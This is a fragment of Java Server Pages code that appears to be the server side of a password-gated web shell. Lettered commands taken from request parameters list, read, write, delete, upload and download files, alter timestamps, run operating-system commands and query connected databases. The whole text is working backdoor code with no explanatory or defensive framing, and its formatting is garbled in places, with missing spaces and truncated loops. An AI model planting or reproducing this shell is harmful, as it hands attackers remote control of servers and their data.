return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(Strings) throws Exception {String[] x=s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length> 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[]=File.listRoots();for(inti= 0; i
sb.append(r[i].toString().substring(0,2));
}
}
void BB(Strings, StringBuffer sb) throws Exception {
File oF= newFile(s), l[]=oF.listFiles();StringsT, sQ, sF= "";
java.util.Date dt;
SimpleDateFormat fm= newSimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(inti= 0; i
dt= newjava.util.Date(l[i].lastModified());
sT=fm.format(dt);
sQ=l[i].canRead() ?"R":"";
sQ+=l[i].canWrite() ?"W":"";if(l[i].isDirectory()) {
sb.append(l[i].getName()+ "/\t" +sT+ "\t" +l[i].length()+ "\t" +sQ+ "\n");
}else{
sF+=l[i].getName()+ "\t" +sT+ "\t" +l[i].length()+ "\t"
+sQ+ "\n";
}
}
sb.append(sF);
}
void EE(Strings) throws Exception {
File f= newFile(s);if(f.isDirectory()) {
File x[]=f.listFiles();for(intk= 0; k
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(Strings, HttpServletResponse r) throws Exception {intn;byte[] b= new byte[512];
r.reset();
ServletOutputStream os=r.getOutputStream();
BufferedInputStreamis = newBufferedInputStream(newFileInputStream(s));
os.write(("->" + "|").getBytes(),0,3);while((n= is.read(b,0,512)) != -1) {
os.write(b,0, n);
}
os.write(("|" + "
os.close();is.close();
}
void GG(Strings,Stringd) throws Exception {Stringh= "0123456789ABCDEF";intn;
File f= newFile(s);
f.createNewFile();
FileOutputStream os= newFileOutputStream(f);for(inti= 0; i
os
.write((h.indexOf(d.charAt(i))<< 4| h.indexOf(d
.charAt(i+ 1))));
}
os.close();
}
void HH(Strings,Stringd) throws Exception {
File sf= newFile(s), df= newFile(d);if(sf.isDirectory()) {if(!df.exists()) {
df.mkdir();
}
File z[]=sf.listFiles();for(intj= 0; j
HH(s+ "/" +z[j].getName(), d+ "/" +z[j].getName());
}
}else{
FileInputStreamis = newFileInputStream(sf);
FileOutputStream os= newFileOutputStream(df);intn;byte[] b= new byte[512];while((n= is.read(b,0,512)) != -1) {
os.write(b,0, n);
}is.close();
os.close();
}
}
void II(Strings,Stringd) throws Exception {
File sf= newFile(s), df= newFile(d);
sf.renameTo(df);
}
void JJ(Strings) throws Exception {
File f= newFile(s);
f.mkdir();
}
void KK(Strings,Stringt) throws Exception {
File f= newFile(s);
SimpleDateFormat fm= newSimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(Strings,Stringd) throws Exception {
URL u= newURL(s);intn;
FileOutputStream os= newFileOutputStream(d);
HttpURLConnection h=(HttpURLConnection) u.openConnection();
InputStreamis =h.getInputStream();byte[] b= new byte[512];while((n= is.read(b,0,512)) != -1) {
os.write(b,0, n);
}
os.close();is.close();
h.disconnect();
}
void MM(InputStreamis, StringBuffer sb) throws Exception {Stringl;
BufferedReader br= newBufferedReader(newInputStreamReader(is));while((l=br.readLine()) != null) {
sb.append(l+ "\r\n");
}
}
void NN(Strings, StringBuffer sb) throws Exception {
Connection c=GC(s);
ResultSet r=c.getMetaData().getCatalogs();while(r.next()) {
sb.append(r.getString(1)+ "\t");
}
r.close();
c.close();
}
void OO(Strings, StringBuffer sb) throws Exception {
Connection c=GC(s);String[] t={"TABLE"};
ResultSet r=c.getMetaData().getTables(null,null,"%", t);while(r.next()) {
sb.append(r.getString("TABLE_NAME")+ "\t");
}
r.close();
c.close();
}
void PP(Strings, StringBuffer sb) throws Exception {String[] x=s.trim().split("\r\n");
Connection c=GC(s);
Statement m=c.createStatement(1005,1007);
ResultSet r=m.executeQuery("select * from" +x[3]);
ResultSetMetaData d=r.getMetaData();for(inti= 1; i<=d.getColumnCount(); i++) {
sb.append(d.getColumnName(i)+ "(" +d.getColumnTypeName(i)+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(Stringcs,Strings,Stringq, StringBuffer sb) throws Exception {inti;
Connection c=GC(s);
Statement m=c.createStatement(1005,1008);
try {
ResultSet r=m.executeQuery(q);
ResultSetMetaData d=r.getMetaData();intn=d.getColumnCount();for(i= 1; i<=n; i++) {
sb.append(d.getColumnName(i)+ "\t|\t");
}
sb.append("\r\n");while(r.next()) {for(i= 1; i<=n; i++) {
sb.append(EC(r.getString(i), cs)+ "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString()+ "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
Stringcs=request.getParameter("z0")==null?"gbk": request.getParameter("z0")+ "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" +cs);StringZ=EC(request.getParameter(Pwd)+ "", cs);Stringz1=EC(request.getParameter("z1")+ "", cs);Stringz2=EC(request.getParameter("z2")+ "", cs);
StringBuffer sb= newStringBuffer("");
try {
sb.append("->" + "|");if(Z.equals("A")) {Strings= newFile(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s+ "\t");if(!s.substring(0,1).equals("/")) {
AA(sb);
}
}else if(Z.equals("B")) {
BB(z1, sb);
}else if(Z.equals("C")) {Stringl= "";
BufferedReader br= newBufferedReader(newInputStreamReader(newFileInputStream(newFile(
z1))));while((l=br.readLine()) != null) {
sb.append(l+ "\r\n");
}
br.close();
}else if(Z.equals("D")) {
BufferedWriter bw= newBufferedWriter(newOutputStreamWriter(newFileOutputStream(newFile(z1))));
bw.write(z2);
bw.close();
sb.append("1");
}else if(Z.equals("E")) {
EE(z1);
sb.append("1");
}else if(Z.equals("F")) {
FF(z1, response);
}else if(Z.equals("G")) {
GG(z1, z2);
sb.append("1");
}else if(Z.equals("H")) {
HH(z1, z2);
sb.append("1");
}else if(Z.equals("I")) {
II(z1, z2);
sb.append("1");
}else if(Z.equals("J")) {
JJ(z1);
sb.append("1");
}else if(Z.equals("K")) {
KK(z1, z2);
sb.append("1");
}else if(Z.equals("L")) {
LL(z1, z2);
sb.append("1");
}else if(Z.equals("M")) {String[] c={ z1.substring(2), z1.substring(0,2), z2 };
Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
}else if(Z.equals("N")) {
NN(z1, sb);
}else if(Z.equals("O")) {
OO(z1, sb);
}else if(Z.equals("P")) {
PP(z1, sb);
}else if(Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + "://" +e.toString());
}
sb.append("|" + "
out.print(sb.toString());%>